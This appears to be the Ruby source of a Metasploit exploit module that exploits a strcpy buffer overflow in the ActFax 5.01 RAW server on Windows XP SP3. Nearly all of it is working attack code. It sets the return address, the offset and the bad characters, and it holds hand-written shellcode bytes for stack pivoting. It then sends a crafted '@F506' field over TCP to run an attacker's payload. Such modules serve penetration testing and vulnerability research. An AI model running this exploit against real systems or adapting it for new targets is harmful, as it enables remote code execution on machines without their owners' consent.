78 lines
2.4 KiB
Ruby
78 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ActFax 5.01 RAW Server Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability in ActFax Server 5.01 RAW server. The RAW
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Server can be used to transfer fax messages without any underlying protocols. To
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note significant fields in the fax being transferred, like the fax number or the
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recipient, ActFax data fields can be used. This module exploits a buffer overflow
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in the handling of the @F506 fields due to the insecure usage of strcpy. This
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module has been tested successfully on ActFax 5.01 over Windows XP SP3 (English).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Craig Freyman', # @cd1zz # discovery and Metasploit module
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'corelanc0d3r', # Metasploit module
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'juan vazquez' # Metasploit module cleanup
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],
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'References' =>
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[
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[ 'OSVDB', '89944' ],
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[ 'BID', '57789' ],
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[ 'EDB', '24467' ],
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[ 'URL', 'http://www.pwnag3.com/2013/02/actfax-raw-server-exploit.html' ]
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],
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => (0x00..0x1f).to_a.pack("C*") + "\x40",
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'DisableNops' => true,
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'Space' => 1024,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX'
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}
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},
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'Targets' =>
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[
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[ 'ActFax 5.01 / Windows XP SP3',
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{
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'Ret' => 0x77c35459, # push esp # ret # msvcrt.dll
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'Offset' => 1024
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 5 2013',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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p = payload.encoded
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buffer = p
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buffer << rand_text(target['Offset'] - p.length)
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buffer << [target.ret].pack("V")
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buffer << "\x89\xe1" # mov ecx, esp
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buffer << "\x81\xC1\xFC\xFB\xFF\xFF" # add ecx, -1028
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buffer << "\x81\xC4\x6C\xEE\xFF\xFF" # add esp, -4500
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buffer << "\xE9\xE9\xFB\xFF\xFF" # jmp $-1042
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print_status("Trying target #{target.name}...")
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sock.put("@F506 "+buffer+"@\r\n\r\n")
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disconnect
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end
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end
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